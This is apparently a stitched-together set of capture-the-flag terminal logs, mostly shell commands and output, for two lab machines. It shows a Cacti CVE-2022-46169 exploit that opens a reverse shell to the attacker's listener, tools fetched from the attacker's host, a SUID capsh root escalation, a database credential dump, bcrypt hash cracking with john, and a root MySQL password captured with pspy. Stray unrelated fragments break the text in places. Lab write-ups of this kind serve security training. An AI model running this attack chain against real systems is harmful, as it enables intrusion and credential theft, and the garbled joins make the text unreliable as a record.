/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmation failed!if [[ $DB_PASS == $USER_PASS ]]; thenjoshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!❯ ls -l pspy64
.rwxr-xr-x kali kali 3.0 MB Tue Jan 17 22:09:52 2023 pspy64
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...joshua@codify:~$ wget 10.10.16.7/pspy64
--2025-02-14 17:23:40-- http://10.10.16.7/pspy64
Connecting to 10.10.16.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[==================================================================================================================================>] 2.96M 1.20MB/s in 2.5s
2025-02-14 17:23:42 (1.20 MB/s) - ‘pspy64’ saved [3104768/3104768]
joshua@codify:~$ chmod +x pspy64joshua@codify:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/02/14 17:25:00 CMD: UID=1000 PID=2282 | ./pspy64
2025/02/14 17:25:00 CMD: UID=1000 PID=2270 | -bash
2025/02/14 17:25:00 CMD: UID=1000 PID=2269 | sshd: joshua@pts/0
2025/02/14 17:25:00 CMD: UID=0 PID=2211 | joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
...[snip]...
2025/02/14 17:28:08 CMD: UID=0 PID=2428 | /bin/bash /opt/scripts/mysql-backup.sh
2025/02/14 17:28:08 CMD: UID=0 PID=2430 | /bin/bash /opt/scripts/mysql-backup.sh
2025/02/14 17:28:08 CMD: UID=0 PID=2429 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES; joshua@codify:~$ su root
Password:
root@codify:/home/joshua# cat /root/root.txt
16a752da1ccc4*******************


































































❯ export IP=10.10.11.68
❯ iRecon "$IP"❯ export IP=10.10.11.76
❯ iRecon $IP❯ export IP=10.10.11.72
❯ iRecon $IP❯ export IP=10.10.11.71
❯ iRecon $IP
sudo no tenga acceso a todas las configuraciones necesarias.
/usr/bin/ls/usr/bin/cat/usr/bin/whoami

.getInfoRequest y devuelve un mensaje de tipo .getInfoResponse.string
























❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.211 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 02:19 CET
Initiating SYN Stealth Scan at 02:19
Scanning 10.10.11.211 [65535 ports]
Discovered open port 22/tcp on 10.10.11.211
Discovered open port 80/tcp on 10.10.11.211
Completed SYN Stealth Scan at 02:20, 12.75s elapsed (65535 total ports)
Nmap scan report for 10.10.11.211
Host is up, received user-set (0.13s latency).
Scanned at 2025-02-16 02:19:54 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds
Raw packets sent: 65548 (2.884MB) | Rcvd: 65554 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.211
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.211 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 02:20 CET
Nmap scan report for 10.10.11.211
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 59.76 ms 10.10.16.1
2 30.07 ms 10.10.11.211
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.96 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.11.211
http://10.10.11.211 [200 OK] Cacti, Cookies[Cacti], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[Cacti], IP[10.10.11.211], JQuery, PHP[7.4.33], PasswordField[login_password], Script[text/javascript], Title[Login to Cacti], UncommonHeaders[content-security-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.4.33], X-UA-Compatible[IE=Edge], nginx[1.18.0]❯ searchsploit Cacti 1.2.22
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Cacti v1.2.22 - Remote Command Execution (RCE) | php/webapps/51166.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22; cd CVE-2022-46169-CACTI-1.2.22
Clonando en 'CVE-2022-46169-CACTI-1.2.22'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 4), reused 4 (delta 1), pack-reused 0 (from 0)
Recibiendo objetos: 100% (18/18), 5.07 KiB | 5.07 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.16.3 --LPORT=443
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.211] 37662
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ hostname -I
172.19.0.3 ❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.211] 37662
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@50bca5e748b0:/var/www/html$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
www-data@50bca5e748b0:/var/www/html$ export TERM=xterm
www-data@50bca5e748b0:/var/www/html$ export SHELL=bash
www-data@50bca5e748b0:/var/www/html$ stty rows 46 columns 230❯ ls -l linpeas.sh
.rw-r--r-- kali kali 806 KB Sun Feb 16 02:40:08 2025 linpeas.sh
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...www-data@50bca5e748b0:/tmp$ wget 10.10.16.3/linpeas.sh; chmod +x linpeas.sh
--2025-02-16 01:41:11-- http://10.10.16.3/linpeas.sh
Connecting to 10.10.16.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824942 (806K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================================================================================================================================>] 805.61K 2.61MB/s in 0.3s
2025-02-16 01:41:12 (2.61 MB/s) - 'linpeas.sh' saved [824942/824942]❯ searchbins -b capsh -f suid
[+] Binary: capsh
================================================================================
[*] Function: suid -> [https://gtfobins.github.io/gtfobins/capsh/#suid]
| ./capsh --gid=0 --uid=0 --www-data@50bca5e748b0:/tmp$ /sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/tmp# root@50bca5e748b0:/var/www/html/include# cat config.php
<?php
/*
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2020 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| modify it under the terms of the GNU General Public License |
| as published by the Free Software Foundation; either version 2 |
| of the License, or (at your option) any later version. |
| |
| This program is distributed in the hope that it will be useful, |
| but WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| GNU General Public License for more details. |
+-------------------------------------------------------------------------+
| Cacti: The Complete RRDtool-based Graphing Solution |
+-------------------------------------------------------------------------+
| This code is designed, written, and maintained by the Cacti Group. See |
| about.php and/or the AUTHORS file for specific developer information. |
+-------------------------------------------------------------------------+
| http://www.cacti.net/ |
+-------------------------------------------------------------------------+
*/
/*
* Make sure these values reflect your actual database/host/user/password
*/
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;root@50bca5e748b0:/var/www/html/include# mysql -h db -u root -proot
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 52
Server version: 5.7.40 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cacti |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.004 sec)MySQL [(none)]> USE cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [cacti]> SHOW TABLES;
+-------------------------------------+
| Tables_in_cacti |
+-------------------------------------+
| aggregate_graph_templates |
...[snip]...
| snmpagent_cache |
| snmpagent_cache_notifications |
| snmpagent_cache_textual_conventions |
| snmpagent_managers |
| snmpagent_managers_notifications |
| snmpagent_mibs |
| snmpagent_notifications_log |
| user_auth |
| user_auth_cache |
| user_auth_group |
| user_auth_group_members |
| user_auth_group_perms |
| user_auth_group_realm |
| user_auth_perms |
| user_auth_realm |
| user_domains |
| user_domains_ldap |
| user_log |
| vdef |
| vdef_items |
| version |
+-------------------------------------+
111 rows in set (0.001 sec)MySQL [cacti]> SELECT * FROM user_auth;
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | 0 | Jamie Thompson | admin@monitorstwo.htb | | on | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 663348655 |
| 3 | guest | 43e9a4ab75570f5b | 0 | Guest Account | | on | on | on | on | on | 3 | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1 | | 0 | 0 | 0 |
| 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C | 0 | Marcus Brune | marcus@monitorstwo.htb | | | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | on | 0 | 0 | 2135691668 |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)❯ hashid '$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C'
Analyzing '$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
❯ john --wordlist:/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (?)
1g 0:00:01:07 DONE (2025-02-16 02:49) 0.01474g/s 126.3p/s 126.3c/s 126.3C/s addict..rasengan
Use the "--show" option to display all of the cracked passwords reliably
Session completed. ❯ ssh marcus@10.10.11.211
The authenticity of host '10.10.11.211 (10.10.11.211)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.211' (ED25519) to the list of known hosts.
marcus@10.10.11.211's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
...[snip]...
You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$ cat user.txt
292dc7e0693179a7c88e2b1b310bcc31marcus@monitorstwo:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitorstwo:~$ sudo -l
[sudo] password for marcus:
Sorry, user marcus may not run sudo on localhost.marcus@monitorstwo:/tmp$ which docker
/usr/bin/docker
marcus@monitorstwo:/tmp$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88overlay on /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker/overlay2/l/3JPYTR54WWK2EX6DJ7PMMAVPQQ:/var/lib/docker/overlay2/l/YWET34PNBXR53LJY2XX7ZIXHLS:/var/lib/docker/overlay2/l/IM3MC55GS7JDB4D2EYTLAZAYLJ:/var/lib/docker/overlay2/l/6TLSBQSLTGP74QVFJVO2GOHLHL:/var/lib/docker/overlay2/l/OOXBDBKU7L25J3XQWTXLGRF5VQ:/var/lib/docker/overlay2/l/FDT56KIETI2PMNR3HGWAZ3GIGS:/var/lib/docker/overlay2/l/JE6MIEIU6ONHIWNBG36DJGDNEY:/var/lib/docker/overlay2/l/IAY73KSFENK4CC5DX5L2HCRFQJ:/var/lib/docker/overlay2/l/UDDRFLWFZYH6I5EUDCDWCOPSZX:/var/lib/docker/overlay2/l/5MM772DWMOBQZAEA4J34QYSZII,upperdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/diff,workdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/work,xino=off)
overlay on /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/overlay2/l/CXAW6LQU6QOKNSSNURRN2X4JEH:/var/lib/docker/overlay2/l/YWNFANZGTHCUIML4WUIJ5XNBLJ:/var/lib/docker/overlay2/l/JWCZSRNDZSQFHPN75LVFZ7HI2O:/var/lib/docker/overlay2/l/DGNCSOTM6KEIXH4KZVTVQU2KC3:/var/lib/docker/overlay2/l/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:/var/lib/docker/overlay2/l/K5DOR3JDWEJL62G4CATP62ONTO:/var/lib/docker/overlay2/l/FGHBJKAFBSAPJNSTCR6PFSQ7ER:/var/lib/docker/overlay2/l/PDO4KALS2ULFY6MGW73U6QRWSS:/var/lib/docker/overlay2/l/MGUNUZVTUDFYIRPLY5MR7KQ233:/var/lib/docker/overlay2/l/VNOOF2V3SPZEXZHUKR62IQBVM5:/var/lib/docker/overlay2/l/CDCPIX5CJTQCR4VYUUTK22RT7W:/var/lib/docker/overlay2/l/G4B75MXO7LXFSK4GCWDNLV6SAQ:/var/lib/docker/overlay2/l/FRHKWDF3YAXQ3LBLHIQGVNHGLF:/var/lib/docker/overlay2/l/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:/var/lib/docker/overlay2/l/W2EMLMTMXN7ODPSLB2FTQFLWA3:/var/lib/docker/overlay2/l/QRABR2TMBNL577HC7DO7H2JRN2:/var/lib/docker/overlay2/l/7IGVGYP6R7SE3WFLYC3LOBPO4Z:/var/lib/docker/overlay2/l/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,xino=off)marcus@monitorstwo:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
marcus@monitorstwo:/var/lib/docker$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,noexec,relatime,size=1966928k,nr_inodes=491732,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=402608k,mode=755)
/dev/sda2 on / type ext4 (rw,relatime)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup2 on /sys/fs/cgroup/unified type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=16423)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,pagesize=2M)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
tracefs on /sys/kernel/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
configfs on /sys/kernel/config type configfs (rw,nosuid,nodev,noexec,relatime)
fusectl on /sys/fs/fuse/connections type fusectl (rw,nosuid,nodev,noexec,relatime)
overlay on /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker/overlay2/l/3JPYTR54WWK2EX6DJ7PMMAVPQQ:/var/lib/docker/overlay2/l/YWET34PNBXR53LJY2XX7ZIXHLS:/var/lib/docker/overlay2/l/IM3MC55GS7JDB4D2EYTLAZAYLJ:/var/lib/docker/overlay2/l/6TLSBQSLTGP74QVFJVO2GOHLHL:/var/lib/docker/overlay2/l/OOXBDBKU7L25J3XQWTXLGRF5VQ:/var/lib/docker/overlay2/l/FDT56KIETI2PMNR3HGWAZ3GIGS:/var/lib/docker/overlay2/l/JE6MIEIU6ONHIWNBG36DJGDNEY:/var/lib/docker/overlay2/l/IAY73KSFENK4CC5DX5L2HCRFQJ:/var/lib/docker/overlay2/l/UDDRFLWFZYH6I5EUDCDWCOPSZX:/var/lib/docker/overlay2/l/5MM772DWMOBQZAEA4J34QYSZII,upperdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/diff,workdir=/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/work,xino=off)
shm on /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
nsfs on /run/docker/netns/3ffb81f4cc54 type nsfs (rw)
overlay on /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/overlay2/l/CXAW6LQU6QOKNSSNURRN2X4JEH:/var/lib/docker/overlay2/l/YWNFANZGTHCUIML4WUIJ5XNBLJ:/var/lib/docker/overlay2/l/JWCZSRNDZSQFHPN75LVFZ7HI2O:/var/lib/docker/overlay2/l/DGNCSOTM6KEIXH4KZVTVQU2KC3:/var/lib/docker/overlay2/l/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:/var/lib/docker/overlay2/l/K5DOR3JDWEJL62G4CATP62ONTO:/var/lib/docker/overlay2/l/FGHBJKAFBSAPJNSTCR6PFSQ7ER:/var/lib/docker/overlay2/l/PDO4KALS2ULFY6MGW73U6QRWSS:/var/lib/docker/overlay2/l/MGUNUZVTUDFYIRPLY5MR7KQ233:/var/lib/docker/overlay2/l/VNOOF2V3SPZEXZHUKR62IQBVM5:/var/lib/docker/overlay2/l/CDCPIX5CJTQCR4VYUUTK22RT7W:/var/lib/docker/overlay2/l/G4B75MXO7LXFSK4GCWDNLV6SAQ:/var/lib/docker/overlay2/l/FRHKWDF3YAXQ3LBLHIQGVNHGLF:/var/lib/docker/overlay2/l/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:/var/lib/docker/overlay2/l/W2EMLMTMXN7ODPSLB2FTQFLWA3:/var/lib/docker/overlay2/l/QRABR2TMBNL577HC7DO7H2JRN2:/var/lib/docker/overlay2/l/7IGVGYP6R7SE3WFLYC3LOBPO4Z:/var/lib/docker/overlay2/l/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,xino=off)
shm on /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
nsfs on /run/docker/netns/1e0059c8be90 type nsfs (rw)
tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=402608k,mode=700,uid=1000,gid=1000)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)marcus@monitorstwo:/var/lib/docker$ ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
bin boot dev docker-entrypoint-initdb.d entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
marcus@monitorstwo:/var/lib/docker$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bin boot dev entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
